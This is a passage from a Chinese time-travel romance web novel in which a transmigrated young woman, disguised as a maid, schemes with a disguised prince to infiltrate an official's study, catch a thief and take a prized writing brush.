身处其中时,她总觉得好像回到了现代那些大酒楼一样。
看来后人都是借鉴古人的智慧呢。
小二毕恭毕敬:“请跟我来。”
几人攀上楼梯走着。
孟春和和李轲走在前面,裴榭,祝星序和素兰走在后面。
祝星序犹豫了一下,还是用胳膊肘碰碰裴榭。
裴榭并没有转头,只轻微应了一声。
“绿豆汤的事,谢谢。”
她说得很轻,像一阵微风一般,掠过裴榭的耳尖,又消散。
裴榭没有回答。
但祝星序知道,他已经听见了。
旁边的素兰专注着孟春和,没有发现他们之间的交流。
小二将他们带到雅间。
孟春和和李轲点了一些菜,便让这三人去隔壁吃。
“今日你们也辛苦了,暂时不用伺候。”
三人行了个礼,阖上门。
一走出门,祝星序的头也抬起来了,背也挺直了。
老是缩着,她觉得腰酸背痛的。
等回了祝府,她得找个女医帮忙推拿一下。
素兰抿嘴笑。
裴榭则还是那副微弯着背的下人模样。
祝星序有心想找裴榭说话,碍于素兰在,便没吭声。
三人进了隔壁房间。
隔壁房间像是专门用来安置贵人们的下人,房间布局和家具之类的都比较朴素。
裴榭眼底闪过一丝暗芒,在素兰身上洒了一些粉末,在她身形摇晃即将倒下时,他扯过旁边的椅子,顺利地接住了素兰。
做好这一切后,裴榭也挺直了腰,表情恢复成以往的疏离。
祝星序目瞪口呆地看着这一切的发生。
8. 第 8 章
祝星序指了指素兰:“万一夫人要人进去伺候怎么办?”
裴榭笑了笑:“这不还有你吗?”
又道:“素兰因为天气炎热,头晕,所以歇息了。”
真贴心,理由都帮她想好了。
祝星序垂头丧气地到桌子面前坐着。
能不伺候,她才不伺候呢。
究竟是谁想干活。
裴榭看她情绪低落的样子,轻笑一声,坐在她旁边。
“孟春和要和李轲说事情,不会传召的。”
祝星序看着他:“你怎么知道?”
裴榭淡淡笑着,没说话。
行,知道所有事情都在你的掌控之中了。
祝星序托腮:“我不信你只是为了舒服些才把素兰打晕。”
裴榭眼中闪过一丝笑意,随后,他调整好心思,正色道:“翘姨娘已经不成气候了。但,一个姨娘对他来说并不够。”
祝星序心中咯噔一声:“你的意思是?”
裴榭盯着她,并未开口。
祝星序唰地一声站起来。
“你不会是让我去做姨娘吧?”
裴榭的目光未曾挪动,缓缓点头。
“只是假装,就像我们现在一样。”
祝星序气极了。
“我不要!”
她连正妻都不愿意当,还当姨娘。
绝不可能。
裴榭对她的反应毫不意外。
他微歪了歪头道:“你不是想要枯青树毛笔?”
说到这个,祝星序又坐下了。
她是很想要没错……
只是,真的要用身体去换吗?
祝星序的贞操观念没那么保守,和男朋友婚前什么的都无所谓,只要她喜欢就行。
但李栋分明就是个老头!
因着上次打翘姨娘的事,她十分厌恶李栋。
就算翘姨娘人品差,也不是李栋打她的理由。
祝星序无意识地抓起茶杯,喝了一口茶。
“不能去他书房偷掉吗?”
裴榭答道:“他的书房,只有姨娘和幕僚能进去。他已在书房外设有家丁巡逻把守。”
又顿了顿:“我要的东西也在书房。”
李栋对幕僚的看管极其严格,并且会查祖上几代人。
裴榭若要当幕僚,定会被李栋察觉。
普通的下人,他才懒得管。
祝星序握着茶杯的力气稍大了些。
“你不能上?”
裴榭也啜饮了一口茶。
“若李栋喜欢男倌,我会上的。”
祝星序有些诧异地看了看他。
她刚刚只是随口一说,想反击一下他。
但看裴榭的神情,好像并不是在开玩笑。
如果这是真的……
裴榭未免也太能屈能伸了吧……
三皇子有他,真是前世修来的福气。
裴榭倒觉得这没什么。
他有迷药和幻药,可以应付一二。
而且,他深深地明白,想要的东西,都是需要代价来换的。
代价的大小问题罢了。
祝星序的内心天人交战。
裴榭也不催她,慢慢等候。
小二已经把李夫人给他们点的饭菜端了上来。
裴榭还在等祝星序的回答,没动筷。
好半晌,祝星序才舒了一口气。
“我愿意当姨娘,但是能不能别让我跟他做那种事?”
她实在太想回家了。
裴榭拿出迷药和幻药放在桌子上,和她介绍着这两个药的用途和效果。
祝星序赶紧抢过来放在衣襟里。
“早不说,害我在那里想半天。”
有了这些,便可真的像是演戏了。
裴榭嘴角的弧度又更弯了。
不过祝星序又开始焦虑了。
那种事可以免,那亲亲抱抱呢?
她一想到要亲李栋,隔夜饭都要吐出来了。
祝星序挠了挠头。
到时候的事到时候再想吧……
祝星序又开口:“那你有没有想过,李栋不要我怎么办?”
裴榭动了动眼珠,扫视过祝星序的脸。
虽然皮肤的颜色因为乌云膏的原因很深,但不可否认的是,祝星序是个美人。
她浅棕色的瞳孔总是很灵动,有时候咕噜咕噜转着,不知在想什么。
他忽然又想到刚见她时闻到的柑橘香。
现在再也没有了。
裴榭压下心中的异样道:“不会的。你很漂亮。”
祝星序并不在意。
毕竟这具身体的脸,确实很不错。
她经常能听到有人夸她的外貌。
有人夸她,她也礼貌道:“谢谢。”
此时她也不清楚,她到底是想让李栋看上,还是不想。
菜快凉了,祝星序起身推了推素兰。
“起来了,吃饭了。”
兴许是药效过去了,素兰呓语了一句,慢慢睁开眼:“我这是睡着了?”
不知怎的,她觉得臀部有点痛。
“不知道是不是刚刚没睡好,现在有点不舒服……”
素兰小声和祝星序道,然后摸了摸自己的侧边大腿。
祝星序有些心虚地应了一声。
素兰晕倒时,是整个人栽在椅子上的。
首当其冲的就是她的屁股。
三人吃着饭,没有人说话。
素兰吃好后,率先离开,准备去隔壁看看孟春和。
孟春和和李轲也已经谈完话,准备出来。
他们的谈话似乎并不顺利,出来时,两个人的脸色都不好看。
走下楼梯,李轲突然道:“我不想娶那名女子。”
孟春和皱着眉:“不行,必须娶。”
李轲非常不满,大喊道:“你凭什么管我的婚事?我要自己选!”
孟春和被李轲的言语气得不行,捂着胸口。
“就凭我是你娘!”
李轲也毫不示弱:“你是我娘又如何?”
眼看着就要吵起来,素兰赶紧拉着孟春和往旁边走,帮她顺气。
裴榭也认真地做着自己的工作,在李轲的耳边说着话安慰他。
这边的争吵还是引起了其他人的注意,其中就包括了祝若怡和祝灿儿。
祝灿儿还小,对大姐姐的印象不深,只是好奇地看着。
祝若怡将视线转过去后,先是看了几眼孟春和与李轲的争吵,不经意地看到了站在孟春和旁边的祝星序。
她有些惊讶,拉着祝灿儿就走了过去。
孟春和的情绪已经平和下来,李轲也在裴榭的劝说下和孟春和道了歉,母子俩重归于好。
要离开时,祝星序有些好奇,想问裴榭和李轲说了什么,竟然让他那么听话。
毕竟李轲这个年纪,这个反应,一看就知道是处于青春期的孩子,很是调皮。
还未走到他身边,祝星序的手就被祝若怡拉住了。
祝星序看清拉着她的人是谁时,吓了一跳。
怎么在这里碰见她们了?
祝若怡凝视着她:“大姐姐,你怎么在这里?”
祝星序很快镇定下来。
“你是谁?”
听见这话,祝若怡有些疑惑。
难道自己认
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错了?
祝星序的心脏砰砰直跳。
“看贵人的样子,是某家小姐吧?”
祝星序脑海中浮现裴榭伺候李轲时,点头哈腰的样子。
她也开始谄媚起来。
祝若怡也吓了一跳,缩回了手。
祝星序装作很好奇的样子:“我跟府上的大小姐很像吗?”
祝若怡后退一步,皱皱眉。
“不像。”
她的大姐姐,可是像梅花一般纯净高贵的。
哪里是面前这人这样?一脸想攀附权贵的模样。
孟春和听到动静,也走了过来。
“翠花,怎么了?”
祝若怡又往后退了一步。
祝星序老实指着祝若怡:“这位小姐说,我很像她家的大姐姐。”
祝若怡立刻开口:“没有没有,我认错了。”
怕她不死心,祝星序又上前一大步,凑近她。
“有多像啊?”
看到祝若怡眼里的厌恶,祝星序在心里偷偷笑着。
素兰怕她冲撞人,赶紧将她拉回来。
“遇到其他贵人也要守规矩。”
素兰皱着眉,不明白向来懂事的祝星序怎么会这么莽撞。
祝星序退回到原来的位置,没注意孟春和看她时探究的眼神。
祝若怡觉得自己肯定看错了,拉着祝灿儿就往回走。
裴榭在一旁看着,默不作声,但眼底里是明晃晃的欣赏。
适逢傍晚,岸边的人少了许多。
几人走回马车时,祝星序小声问裴榭,是怎么说服李轲接受的。
裴榭道:“我只和他说,名义上的妻子和心里的妻子是不一样的。”
听完之后,祝星序眼神复杂地看着他。
身为皇子,裴榭的婚姻也不是能自己选择的。
所以,他才有了这样的想法吗?
裴榭目视前方,半点目光也未偏离。
回到李府,素兰去禅香院伺候,祝星序则先回房间换衣服。
换好之后,又洗了把脸。
乌云膏是防水的,就算狠搓几下,也很难卸掉。
祝星序照着铜镜,满意地看了看,又检查了一下身上有没有掉色的地方,补了补,这才去禅香院换素兰去洗漱。
素兰出来时,意味深长地看了一眼祝星序。
祝星序抿了抿唇,不由得有些紧张。
素兰怎么突然这么看她?
难道,素兰或者是孟春和发现了什么?
她推门进入。
屋内已经点起了檀香,丝丝缕缕地在整个房间缠绕着。
孟春和已经换好了衣服,正站在佛堂前看着佛像。
祝星序以为她要礼佛,想着去门口待着。
就在她转身之时,孟春和开口:“你留下。”
祝星序听完,面朝着孟春和站定。
孟春和的视线从佛像上挪开,落在祝星序身上。
朴素,还算清秀。
这是李夫人对祝星序的第一印象。
但,她的性格,又不似她的外表一般泯然。
她聪明,机警,却不会偷奸耍滑。
派给她的事情,她都能好好地完成。
这样的人,真的是普通的农家女子吗?
若不是今日见到那一幕,孟春和绝不会将祝星序联想到别的地方。
她缓步走到祝星序面前。
“你来我这,多久了?”
祝星序心里一紧,低头回道:“禀夫人,已经半月了。”
孟春和点点头,声音转向质问。
“今日那名将你认错的女子,你当真不认识?”
9. 第 9 章
果然,孟春和还是起疑心了。
祝星序的脚无意识地抠着,幸好被裙子挡住,看不见。
“认识。”
孟春和的眼神锐利地扫向她。
“认识?”
她说得极缓,仿佛有些不敢置信。
祝星序点点头:“之前上街时有见过她,坐在一个很豪华的马车里,一看便是世家贵女。”
她想过了,直接说不认识太假,祝若怡又不跟她一样,天天猫在房间里。
只要勤出门,便会被人看见,被人记得。
孟春和微微舒了一口气。
她刚刚有些害怕,怕祝星序真的是什么其他人。
虽然她们相处的时间不长,但她也是真心当作自己家的孩子,就像素兰一样。
孟春和眉目舒展。
“好了,我也就是随便问问吧。你出去吧。”
祝星序低头称是,退出房间。
在门口坐着,她还顺了顺心口。
太吓人了!
*
之后,孟春和没有再试探过祝星序的私事。
似乎已经完全相信了。
那份卖身契,也不知道裴榭是从哪里搞来的。
又过了一周。
祝星序有些担心了。
她怕她一直不回去,祝明礼会起疑心。
甚至服侍孟春和时还会走神。
孟春和以为是她太累了,叫她下去休息。
素兰也在一旁说:“是不是昨晚没睡好?我们可以换值。”
祝星序摇摇头,强打起精神来。
一日深夜,祝星序穿着黑色的衣服,溜出了禅香院。
裴榭自从花朝节之后一直没来找过她,没有和她说之后的计划。
但让她主动去和孟春和说要做姨娘,她试了好久都开不了这个口。
感觉像是背叛了她……
她也想拖一拖,看看裴榭有没有其他办法。
一路躲躲藏藏,祝星序来到了李轲所在的勤阅院。
她来到侧厢房。
府上的下人一般都住这,包括她也是。
侧厢房的窗纸有几个洞,她便从洞外朝里望。
可里面漆黑一片,什么也看不清。
正当她还在拼命看清里面的样子时,裴榭悄无声息地出现在她身后。
“你在做什么?”
祝星序吓了一跳,回头看是裴榭。
“你怎么走路没有声音?”
祝星序有些后怕。
裴榭看了看周围,见没人,才低声道:“你怎么来了?”
祝星序想起正事,问他:“什么时候开始行动?”
裴榭沉默了一会。
在李府待得越久,危险也就越大。
他知道,让祝星序一个从小过着优渥生活的女子来这里当丫鬟,也确有些为难她。
出人意料的是,她还做得这么好。
裴榭脑中一个新的计划迅速形成。
他先盘算了一番计划实行的可能性和危险性,确定了之后,才慢慢和祝星序说着。
祝星序听完后,有些惊奇。
“这也行?”
裴榭点点头:“这样,也能让你迅速在李栋面前露脸。”
知道了确切的消息,祝星序心满意足地回去睡觉了。
*
这一日,李栋下了朝,照常回府。
近日来,太子的品行不端,常常引发三皇子那边人的弹劾。
虽然人数不多,但皇上已是十分不满。
李栋头疼地揉了揉眉心,思考接下来的对策。
他轻车熟路地回到自己的书房。
在门口,负责看守书房的家丁向他问好:“老爷。”
李栋目不斜视地进入。
翻阅书本时,他猛然想到一个东西。
似乎已经很久没有见到过了。
李栋皱了皱眉,将原本放置那样东西的地方翻了个遍。
没有。
他又去翻其他的地方。
李栋翻遍了整个书房。
都没有。
他气喘吁吁地坐在椅子上。
心里又慌又气。
这里除了他和两位姨娘,没有人会来。
翘姨娘的身上因为红点留了疤,他已经着人把她送去乡下庄子里了。
香姨娘则一直在自己的小院里,没有出来过。
那么……便是被盗了。
李栋站起身,先从书房附近的守卫下手。
经过一番询问和严刑拷打,这些守着书房的家丁都没有嫌疑。
他们都是三三两两值班,皆有人证和物证。
李栋坐在书房里,眼神锐利而阴鸷。
他派人将孟春和寻来。
彼时,孟春和正在屋内礼佛。
祝星序坐在廊下晒太阳。
她看见李栋的贴身仆从急匆匆过来,看到祝星序。
“劳烦翠花姑娘进去和夫人说一声,老爷有请。”
祝星序站起身,走至门口,轻轻敲了敲门。
“夫人。”
里面传来孟春和的声音:“知道了。”
孟春和换了一身衣服,神色淡然。
主仆二人去了李栋的书房院子里。
他也将香姨娘和李轲叫了过来。
所有人到齐后,李栋让人搬了一把椅子,坐在上首。
他先是严厉地扫视在场的人。
从孟春和看起。
孟春和虽不明所以,但她自认为没做对不起李栋的事情,神色坦然,淡定自若。
香姨娘有些紧张,双手绞着衣袖,不明白发生了什么。
她只是侍妾,不算主子,在李栋和孟春和的面前,总是少了些底气。
李轲一头雾水,但被爹叫来,还是乖乖地站在下面,等着父亲说话。
李栋又一一扫视过他们每个人的仆从。
仆从们表情不一,但都有些忐忑。
祝星序的头低得快塞进衣襟里,不想先被李栋看见。
见威压施够,李栋才缓缓开口。
“我的书房,有东西不见了。”
孟春和皱了皱眉,率先开口:“老爷,是什么东西?”
李栋并没有回答。
“拿了东西的人,现在将东西还回,本官可以既往不咎。”
无人动弹。
孟春和上前一步,对着李栋轻声道:“老爷,现下人多,那人可能不敢。”
李栋点点头:“那么,限今晚,将东西放回书房门口。”
他又加上一句:“本官已经知道是谁拿的了,看在你为府里兢兢业业干活的份上,本官给你个体面。”
说完,便叫大家散了。
回禅香院时,孟春和也有些生气,胸口频繁起伏着。
祝星序见状,也不敢和她说话。
像李夫人这类人,平日里看上去不争不抢,若触及到她的原则时,发起火来也会很恐怖。
夜晚和素兰换了班,祝星序回房睡觉。
隔日,李栋发现,并没有人前来自首。
他更生气了,再次把府内所有人,包括厨房的帮工,全部都集中到书房前的院子。
他严肃道:“昨日,并没有人将东西归还。”
众人抬头看看其他人,又低下头。
李栋挥挥手,便有家丁将这方院子封锁了起来。
随后,又有几人往外面冲,去搜索各人的房间了。
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祝星序偷偷看裴榭。
裴榭也低着头,正好好地扮演一个受到惊吓的胆小仆人形象。
似乎是察觉到她的视线,裴榭也微微歪头,看着她。
他深邃的黑色瞳仁直直地看过来,祝星序看不清楚里面有什么。
她错开眼,观察其他人。
大部分人看上去很紧张,但不是很害怕。
这种估计是没拿的,不过房间里应该有什么别的秘密。
只有一个男仆,浑身抖得跟筛糠似的,豆大的汗珠从额头滴落,掉在地上。
天气炎热,他的汗珠掉在地上形成了更深的印子。
像下雨了一样。
这么明显的表现,李栋也很快注意到了。
但他没有立马将这名男仆揪出来。
李栋是大理寺少卿,最讲究证据。
他人的紧张表现是由很多种因素组成的,不一定因为他是凶手。
也有可能这仆人见识浅短,碰见稍一严肃的场合就冒汗。
家丁搜了一圈下来,什么也没发现。
李栋的眉头紧紧拧着,好像也有些不理解。
情况一时僵持在这里。
见时机差不多了,祝星序举起手。
李栋的目光很快扫了过来。
“你是什么事?”
祝星序低着头快步走到李栋的面前,用只有他们二人能听见的声音道:“老爷,我有一个办法。”
李栋打量着这个黝黑的丫鬟。
他知道这是孟春和的人。
最开始,他便怀疑到了孟春和身上。
他查过之后,发现不论是素兰还是祝星序,那几日都在服侍李夫人,几乎没有一个人待着的时候。
两人都不是偷盗者。
“你有何办法?”
李栋身为官员,有很多法子可以让人说实话。
但这是在府中,他不想自己严苛的名声传出去。
祝星序凑上去说了些什么。
李栋笑了笑,这确实也是个比较合适的方法。
“行,就按你说的办。”
众人又散去了。
祝星序回到孟春和身后时,孟春和正深深地看着她。
她抿了抿唇,什么也没说。
当天傍晚,有消息从书房散出,李栋又在外面搜寻到了新的东西。
新的较之旧的更好。
深夜,偷盗者便坐不住了。
若新的真那么好,那手中这个,便不值钱了。
但他又怕是陷阱。
偷盗者时不时拿出那样东西翻来覆去地看,脑中却一直在想新的会是何种模样。
他决定,先不轻举妄动。
只是,过了几天,有见过新东西的人,绘声绘色地和周围的人讲着那东西的好处。
“真的很漂亮!”
“我从未见过这么好的东西。”
有仆人问他:“恭喜老爷再得一宝贝。”
李栋满足地笑着。
偷盗者越发坐立难安。
终于,某一日深夜,他躺在床上翻来覆去睡不着。
他起身,按照上次潜入书房的经验,准备再去看一看。
只是看一看,没事的。
他如此安慰自己。
那人蹑手蹑脚来到书房侧门。
这里还是和以往一样,有家丁守着。
他费了一番功夫进入书房。
一进去,他一眼便看见位于书架上方精致的盒子。
他心跳如擂鼓。
好奇心瞬间膨胀。
他颤颤巍巍地伸手拿起来,打开盒子。
里面只有一张三指宽的字条,上面写着:
你上当了。
10. 第 10 章
待他看清上面的字时,一股寒意从脚底窜到大脑。
他把木盒一扔,当即就要离开书房。
李栋带着家丁以及其他人,早已将书房围着了。
他一出门,密集的灯笼便晃了他的眼睛。
此人,正是那日,祝星序见到的那个男仆。
李栋和孟春和并肩站在一起。
只有共同对抗李府敌人之时,他们才像情深的伉俪一般。
李栋侧过头看了一眼孟春和,见她脊背挺直,神情冷静,不免在心里对她赞赏有加。
这也是他虽然喜欢抬一些侍妾,但不让他们越过去孟春和的缘故。
这样的女子,才配做主母。
孟春和先开口:“阿财,府里待你不薄,你为何要这么做?”
阿财头冒虚汗,立刻下跪:“老爷夫人饶命,我一时鬼迷了心窍,请老爷夫人饶恕……”
李栋气得心口疼,上前一脚踹在他的心窝上。
阿财的心口顿时火烧一般疼,但他不敢呻吟,又爬回去跪好,整个人抖得犹如身处寒冬腊月。
既然真凶已经找到,那么自然是被押解走了。
像这样在府中偷盗东西的人,是可以根据主家的意愿扭送至官府的。
李栋是大理寺少卿,阿财直接被送进了监狱。
至于阿财得到的惩治是什么样的,那便一切按照礼法来。
东西归还,李栋一直悬浮着的心也安了下去。
他看着孟春和,伸手握住她的手。
“春和……这次,也很感谢你。”
李夫人淡淡一笑,将手抽了出来。
“这是我应该做的。”
李栋被下了脸子,也不恼。
他只是安慰一下孟春和罢了,至于孟春和的心是否在他这边,他不在乎。
他转身离去时,看到了孟春和身后的祝星序。
“你,很不错。”
祝星序受宠若惊道:“多谢老爷夸赞。”
李栋离开了。
祝星序跟着孟春和回到禅香院。
李夫人一眼都没看她。
祝星序走在后面惴惴不安。
她试图让自己放松下来。
总该如此的。
她不能在李府当一辈子丫鬟吧。
走至正房门口,素兰已经在等着了。
她像以往一样让祝星序回去休息,她来伺候。
孟春和头也不回道:“素兰你先出去,翠花你跟我进来。”
素兰奇怪地看了祝星序一眼,应了一声,在门外守着。
祝星序跟在孟春和身后走进去,关上门。
孟春和坐在上首,平静地看着她,尔后厉声开口。
“跪下!”
祝星序身子一颤,一时之间不知道该不该跪。
她有一种背叛了孟春和的感觉。
孟春和见她不动,更是勃然大怒。
“怎么?我如今使唤不动你了是吗?”
祝星序深吸一口气,缓缓下跪。
为了回家,她忍!
“你如今胆子大了,敢越过我,以下犯上了?!”
孟春和看着她,恨铁不成钢。
祝星序低着头,沉默不语。
孟春和有些失望。
她原本想着,在府里诚恳老实的下人里选择几个让她挑。
或者有其他好的也行,只要她喜欢。
届时,她再为她备上嫁妆,做她永远的后盾。
没想到……
她想再给祝星序一次机会。
“你可知错?”
祝星序低头:“奴婢……不知何错之有。”
若是承认了有错,更加不可能去李栋那了。
于是祝星序选择装傻。
孟春和被祝星序的话气得急火攻心,不住地喘着。
她知道祝星序脑子灵活,不可能不知道她在说什么。
孟春和起身,从旁边的百宝柜里拿出一条鞭子。
祝星序看见鞭子,吓得想站起来。
回家的代价会不会太大了点……
但她还是忍住了,只往旁边跪了一些。
孟春和自然没有错过她的反应。
她拿起鞭子,狠狠地在祝星序脚边的地上抽了几下。
“你以为妾室是那么好当的吗?你知不知道,有多少女子当了妾室之后,生不如死?”
祝星序还是低着头,没说话。
她可太知道了……
孟春和只当她是年纪小,不懂得其中的利害关系,继续说着。
“不说远的,那翘姨娘,只是生了场小病,就被老爷送去庄子,在庄子里,连府上洒扫丫鬟的日子都不如!”
“而且,你还不能逃,但凡逃了,主家便能拿着你的卖身契去告官。等把你抓回来,又是一顿拷打。”
她苦口婆心地说着,希望祝星序能回心转意。
“你若知错,我便会寻另一个更好的如意郎君给你,让你做正房夫人。”
祝星序在心里疯狂摇头。
“奴婢……不知。”
孟春和闭上眼睛,颓然地倒坐在椅子上。
好半晌,她都没有再说话。
时间一时一刻地过去。
祝星序跪得膝盖都有些疼了。
她见孟春和一直坐在椅子上闭目,偷偷伸出手揉了揉膝盖。
没揉一会,孟春和缓缓睁眼,祝星序又把手缩了回去,继续保持那副倔强又卑微的样子。
似乎是妥协了,孟春和道:“知道了,给我几日准备一下。”
她安慰着自己,起码祝星序不会闹事,没准还能为李府添丁。
自己与她主仆一场,今后多多照看她,也就是了。
祝星序舒了一口气。
这日子也太难熬了。
天天胆战心惊的。
见祝星序还低头在那跪着,孟春和也心生不忍。
“起来吧,让素兰来。”
“是。”
祝星序起身,因为膝盖痛,差点又摔倒。
孟春和看了一眼,撇过头去。
祝星序慢慢走出去。
素兰看到她一瘸一拐的样子,还搀住了她。
李夫人在里面道:“不必扶她。”
素兰很听孟春和的话,不让扶便收回了手。
她以为是祝星序惹孟春和生气了,小声对祝星序道:“夫人最是心软,一会我帮你说说。”
祝星序露出一个苦笑。
回了自己的屋子,她才发现自己没有跌打损伤膏。
她小心翼翼坐在床上,撩开裤管查看。
因着她从小在祝府养尊处优地长大,皮肤娇嫩。
之前只跪那么一下,没什么事。
但这还是她第一次跪这么久,膝盖早已红肿不堪。
祝星序想骂人,但是又不知道骂谁。
她知道孟春和是为她好,怕她吃苦,祝星序不会骂她。
裴榭和裴檐是朝堂争斗的当事人,经常需要面见皇上,跪的肯定比她多。
而且若不是他们的目标也是李栋,凭祝星序自己,根本拿不到毛笔。
最后,她只能咒骂让她穿越过来的命运。
“你爹的,让我来这里又如何?我迟早回去!”
之后几日,孟春和都没有再让她近身伺候。
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素兰也知道发生了什么,对祝星序的态度不似往常那般亲密了。
祝星序明白,这种事情放在谁身上,都接受不了。
算了,只是几个古人,等她回到现代,这些人全都是过去式了。
还是多顾着自己吧。
这一日,祝星序照常起床,素兰来找她。
“翠花,今日白天你伺候夫人。”
她有些意外,但还是应下了。
服侍孟春和到傍晚,李夫人拿了一对玉镯给她。
“今日是你最后一次服侍我,这对玉镯便当作你的嫁妆吧。”
祝星序傻了,愣愣地看着她。
孟春和却没再理她,唤了几个丫鬟将祝星序带去沐浴更衣。
没等祝星序反应过来,丫鬟们便架着她走了。
害怕乌云膏的秘密被发现,进了浴房后,她让这些丫鬟都出去。
丫鬟们得了孟春和的命令,站在原地不知所措。
祝星序只好道:“夫人说的,我想做什么就做什么,不要拦我!”
丫鬟们对视一眼,退至屋外。
“翠姨娘有需要就叫我们。”
听到这个称呼,祝星序差点摔进浴桶。
她愤愤地抓了一下头发。
翠姨娘这个名字也太难听了。
祝星序看着眼前的浴桶,欢快地洗了个澡。
丫鬟不比主子,不能每日都沐浴,平日里她都是用水擦擦身上才了事。
泡着澡,她好想吃水果。
“来个人!”
她将脖子以下都缩在水里。
有丫鬟走了进来。
“翠姨娘有什么吩咐?”
祝星序自动忽略掉这个称呼:“有柑橘吗?给我几个。”
丫鬟有些奇怪,但还是出去拿了柑橘给她。
“柑橘的种植时节已经过去,这个可能有些晦涩难吃。”
祝星序拿过来:“没事,你出去吧。”
她坐回浴桶,开始剥柑橘吃。
第一口简直要把她的牙给酸掉,她呸呸呸地吐出来,放回一旁的桌上。
莫名地,她的情绪有些低落。
水果这么难吃,现在还要当小妾。
如果真能拿到毛笔,那这些都不算什么。
那如果拿不到呢……
祝星序将脸埋进水里,吐了一会泡泡,才起身擦干净穿上给她准备的衣服。
这是一套透明到能看见肚兜和亵裤的衣服。
上面还绣着一朵朵梅花,不仅挡不住,还有了犹抱琵琶半遮面的效果。
只看了一眼,她就马上换上自己的衣服。
出门时,丫鬟们见她又穿了之前的衣服,很是着急:“翠姨娘,你要穿另一套。”
她可不想穿,假装很着急道:“好了好了,关键是我人去,等下让老爷等着急了怎么办?”
丫鬟们还想再说话,祝星序迈步便开始朝书房走。
她后来才知道,为什么姨娘可以去书房。
因为李栋有这方面的癖好……
他觉得在书房做那事有反差,很刺激。
祝星序也要感谢李栋。
要不是他有这个癖好,她还进不去呢。
她在前面跑,丫鬟们在后面追着。
“翠姨娘,请走慢一点。”
来到书房门口,负责值守的家丁们看到她,也喊:“翠姨娘。”
祝星序无视他们,径直进了书房。
丫鬟们见她进了书房,也不再阻拦,只在门外道:“老爷晚点就到。”
然而,在书房里的祝星序此刻正被人捂着口鼻,惊讶地注视着这个“凶手”。
11. 第 11 章
裴榭不再穿着小厮的粗布衣服,而是换上了更方便行动的黑衣。
这衣服有些紧身,勾勒出了他的身材。
裴榭虽然有些清减,但肩膀宽厚,腰身劲瘦,靠近她捂着她的口鼻时,他浓重的男子气息从四面八方而来围绕着她,让祝星序有了一种陌生的紧张感。
祝星序的目光不由自主地朝裴榭的身体看去。
好想看看他衣服下的身材……
她被自己的想法吓了一跳,立刻闪到旁边。
尽管已经远离了他,但祝星序的心脏还是砰砰直跳,低着头不敢看他。
裴榭已经在书房等候她多时。
怕她惊叫,才出此下策。
欺身上前时,他又闻到了祝星序身上似有若无的柑橘味。
没来由的,裴榭的心情愉悦许多。
知道来人是谁后,祝星序也放松下来。
这意味着,今晚她也许不会去侍寝了。
她摸摸口袋,裴榭给的药还在。
祝星序好奇地问:“你怎么来了?”
按之前裴榭所说的计谋,今日应当只有她一人才是。
裴榭仔细听着屋外的声音,确认无人靠近后才轻声道:“时机差不多了,且你今日要来,书房的守卫都松散许多。我便先来此处等你。”
说完,他便转身在书房里开始搜寻他要的东西。
祝星序见他开始行动,也赶紧去李栋的桌上找毛笔。
时间宝贵,她可不想落后于人。
毛笔筒很大,里面的毛笔少说也有几十根。
难道这就是文人吗……
祝星序挑出了一些她认识的毛笔,随手扔在桌上。
不一会,书桌上便七零八落地堆满了毛笔。
裴榭那边很顺利,只稍稍想一下李栋放东西的思维,很快便找到了。
他拿到东西,回头看祝星序。
见她还在剩下的五根毛笔里苦恼,裴榭走过去,只看了一眼,便挑出了出来。
他将毛笔给她:“好好保管。”
祝星序将毛笔妥善保管,眼泪差点都要出来。
终于……终于啊……
天知道她为了这只毛笔,付出了多少。
这一刻,她觉得之前的事情也不算什么了。
她擦去眼角溢出的泪珠,感叹道:“你怎么什么都知道啊。”
裴榭微微一笑,并没有认下这个评价:“其实我也不认识枯青树毛笔。”
啊?他不知道?
祝星序疑惑道:“那你怎么确认就是这只?”
裴榭回道:“枯青树毛笔是李栋不远万里都要带来的,说明这是他最趁手的一只,你看其他的毛笔,都崭新得像才买过一样。”
祝星序听完他的话,又回头看了看另外四只。
果然如他所说。
但她还是有些不放心。
“但若是他知道枯青树毛笔难得,不舍得用呢?”
裴榭愣了愣,他还真没想过这一方面。
“嗯……也有可能。”
保险起见,祝星序把另外四根也带上。
反正就几只毛笔,带上也不会是累赘。
裴榭表示赞同。
拿了东西,裴榭便想离开。
他走到后面的窗户处,对祝星序道:“你小心些。”
祝星序又开始紧张了。
他怎么就走了?
她赶紧拉着他的衣服。
“能再多陪陪我吗?”
她可不想那么快独自面对李栋啊!
裴榭猛地被她抓住袖子,心跳漏了一拍。
他不动声色地将祝星序的手拿开。
“若给李栋发现书房还有其他男子,我们两个都会没命。”
说完,他便要从窗子走。
裴榭推了推窗户。
窗户纹丝未动。
他想了想,又去另一扇窗户推了一下。
还是推不开。
祝星序见他这样,问:“出不去了?”
裴榭虽然很不想承认,但事实确实如此。
这时,李栋的声音由外传来。
“翠姨娘?上次我见到的夫人的丫鬟?”
“那个丫头挺不错的,也不会找夫人的麻烦。”
眼见着他越来越近,祝星序的心脏都快跳到嗓子眼了。
她拉着裴榭往屏风后面跑。
但是屏风后面什么也没有,李栋若是进来,定会看到他们!
这下真要没命了……
她正打算在死前为自己哭一哭,但裴榭却像是突然发现了什么,走到墙边开始摸索。
祝星序也不哭了,满怀期待地看着他的动作。
按照电视剧里的情节,此处肯定有个暗室的开关。
李栋的脚步声已经在门口了。
裴榭看到一个微微凸起来的地方,用手指轻轻一按。
就在李栋推开门的瞬间,裴榭和祝星序被传送到了一个地下室。
祝星序在原地站了一会,才适应了地下室的黑暗。
“真有啊?”
裴榭却自信地笑了一下。
如他所料,李栋的书房里内有乾坤。
他掏出一个火折子,点燃。
又取过放置在一旁的油灯,将火折子扔进油里。
这个油灯,不想也知道是李栋准备的。
他应该也会经常下来。
一时间,暖黄的黄线照亮了裴榭和祝星序的脸。
祝星序的脸有些太黑了,隐在黑暗中,难以看清。
不过此处只有他们二人,没其他人看,所以祝星序也无所谓。
裴榭提着灯,往前面走着。
祝星序不敢一个人留在原地,紧跟上去。
这是一处还算大的空间。
他们正在走的这个小道起码可以容纳五个人并排行进。
裴榭一边专注着前方,一边注意着脚下。
他担心有机关之类的东西。
祝星序紧紧地抓着他的胳膊,让裴榭想忽视都忽视不了。
祝星序温热的身体时不时触碰到他,每触到他一次,裴榭都会僵硬一瞬。
说起来,两人也不是第一次接触了。
但在这样的环境下,裴榭也有些不自在起来。
他故作镇定道:“你离远些。”
“不要!”
祝星序干脆地拒绝了他,并且靠他更近。
在祝星序看来,裴榭的身子和这洞里的风一样冰冷。
她不喜欢,却不敢不挨着。
裴榭不敢说话了,生怕她又凑过来。
两人紧贴着走路。
